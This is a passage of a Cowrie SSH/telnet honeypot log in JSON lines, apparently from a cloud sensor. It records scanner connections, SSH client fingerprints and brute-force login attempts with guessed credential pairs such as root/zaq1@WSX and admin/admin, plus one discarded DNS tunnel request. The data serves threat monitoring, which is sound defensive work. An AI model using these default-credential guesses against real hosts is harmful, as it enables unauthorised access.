{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"229dd3ab9f45","protocol":"telnet","message":"New connection: 104.245.105.2:48500 (10.17.0.5:23) [session: 229dd3ab9f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:23.328040Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54328,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aaff6b82ec5","protocol":"telnet","message":"New connection: 104.245.105.2:54328 (10.17.0.5:23) [session: 2aaff6b82ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:42.581494Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54344,"dst_ip":"10.17.0.5","dst_port":23,"session":"d929f50b9c0d","protocol":"telnet","message":"New connection: 104.245.105.2:54344 (10.17.0.5:23) [session: d929f50b9c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:46.945612Z"}
{"eventid":"cowrie.session.closed","duration":34.28333497047424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:36:57.611243Z","src_ip":"104.245.105.2","session":"229dd3ab9f45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11366057395935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:37:13.695068Z","src_ip":"104.245.105.2","session":"2aaff6b82ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81165909767151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:37:17.757128Z","src_ip":"104.245.105.2","session":"d929f50b9c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":43704,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe48f4dd28c","protocol":"ssh","message":"New connection: 202.165.22.58:43704 (159.203.135.109:22) [session: 7fe48f4dd28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:14.770110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:14.774973Z","src_ip":"202.165.22.58","session":"7fe48f4dd28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:15.075143Z","src_ip":"202.165.22.58","session":"7fe48f4dd28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1@WSX","message":"login attempt [root/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:16.287376Z","src_ip":"202.165.22.58","session":"7fe48f4dd28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:17.581682Z","src_ip":"202.165.22.58","session":"7fe48f4dd28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40880,"dst_ip":"10.17.0.5","dst_port":23,"session":"030f57190d03","protocol":"telnet","message":"New connection: 104.245.105.2:40880 (10.17.0.5:23) [session: 030f57190d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:24.823416Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.180","src_port":60252,"dst_ip":"10.17.0.5","dst_port":22,"session":"67086418d5f0","protocol":"ssh","message":"New connection: 147.185.132.180:60252 (10.17.0.5:22) [session: 67086418d5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:43.576847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:44.697303Z","src_ip":"147.185.132.180","session":"67086418d5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:46.075356Z","src_ip":"147.185.132.180","session":"67086418d5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:53.242113Z","src_ip":"147.185.132.180","session":"67086418d5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95862603187561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:38:55.781939Z","src_ip":"104.245.105.2","session":"030f57190d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":53430,"dst_ip":"159.203.135.109","dst_port":22,"session":"b51486557e78","protocol":"ssh","message":"New connection: 202.165.22.58:53430 (159.203.135.109:22) [session: b51486557e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:48.802266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:48.809763Z","src_ip":"202.165.22.58","session":"b51486557e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:49.105048Z","src_ip":"202.165.22.58","session":"b51486557e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freebsd","message":"login attempt [root/freebsd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:50.317706Z","src_ip":"202.165.22.58","session":"b51486557e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:51.616903Z","src_ip":"202.165.22.58","session":"b51486557e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53272,"dst_ip":"10.17.0.5","dst_port":22,"session":"5971140b818a","protocol":"ssh","message":"New connection: 87.251.64.176:53272 (10.17.0.5:22) [session: 5971140b818a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.264318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.268889Z","src_ip":"87.251.64.176","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.364990Z","src_ip":"87.251.64.176","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.654972Z","src_ip":"87.251.64.176","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.755484Z","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:55.857075Z","src_ip":"87.251.64.176","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:39:56.089657Z","src_ip":"87.251.64.176","session":"5971140b818a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.153.86","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"56dc9d3d5447","protocol":"ssh","message":"New connection: 68.183.153.86:34040 (159.203.135.109:22) [session: 56dc9d3d5447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:01.818599Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:01.824918Z","src_ip":"68.183.153.86","session":"56dc9d3d5447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37250,"dst_ip":"10.17.0.5","dst_port":23,"session":"4318945c0a3c","protocol":"telnet","message":"New connection: 104.245.105.2:37250 (10.17.0.5:23) [session: 4318945c0a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:08.803183Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.67","src_port":15726,"dst_ip":"159.203.135.109","dst_port":23,"session":"e162c2f3601a","protocol":"telnet","message":"New connection: 184.105.139.67:15726 (159.203.135.109:23) [session: e162c2f3601a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:28.645226Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:28.651102Z","src_ip":"184.105.139.67","session":"e162c2f3601a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:28.655495Z","src_ip":"184.105.139.67","session":"e162c2f3601a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:28.659479Z","src_ip":"184.105.139.67","session":"e162c2f3601a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09119415283203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:28.736292Z","src_ip":"184.105.139.67","session":"e162c2f3601a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.272993087768555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:41:39.076091Z","src_ip":"104.245.105.2","session":"4318945c0a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":19302,"dst_ip":"10.17.0.5","dst_port":22,"session":"877b8a6f961d","protocol":"ssh","message":"New connection: 154.117.199.5:19302 (10.17.0.5:22) [session: 877b8a6f961d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:12.200939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:12.432469Z","src_ip":"154.117.199.5","session":"877b8a6f961d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:12.664693Z","src_ip":"154.117.199.5","session":"877b8a6f961d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43358,"dst_ip":"10.17.0.5","dst_port":23,"session":"215392f75471","protocol":"telnet","message":"New connection: 104.245.105.2:43358 (10.17.0.5:23) [session: 215392f75471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:27.536370Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"9072c4a8d787","protocol":"telnet","message":"New connection: 104.245.105.2:43360 (10.17.0.5:23) [session: 9072c4a8d787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:27.555229Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"96141f20bd88","protocol":"telnet","message":"New connection: 104.245.105.2:43362 (10.17.0.5:23) [session: 96141f20bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:28.558153Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"7242f7e02bb6","protocol":"ssh","message":"New connection: 176.32.193.16:60023 (159.203.135.109:22) [session: 7242f7e02bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:39.817292Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:39.961609Z","src_ip":"176.32.193.16","session":"7242f7e02bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33220,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdd7ae5c2d2","protocol":"telnet","message":"New connection: 104.245.105.2:33220 (10.17.0.5:23) [session: acdd7ae5c2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:45.458229Z"}
{"eventid":"cowrie.session.closed","duration":30.577051401138306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:58.132195Z","src_ip":"104.245.105.2","session":"9072c4a8d787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67551612854004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:42:59.211771Z","src_ip":"104.245.105.2","session":"215392f75471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.347888231277466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:00.905951Z","src_ip":"104.245.105.2","session":"96141f20bd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":57745,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1d52d2068a","protocol":"ssh","message":"New connection: 193.24.211.95:57745 (159.203.135.109:22) [session: 8d1d52d2068a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:08.526197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:43:08.530607Z","src_ip":"193.24.211.95","session":"8d1d52d2068a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac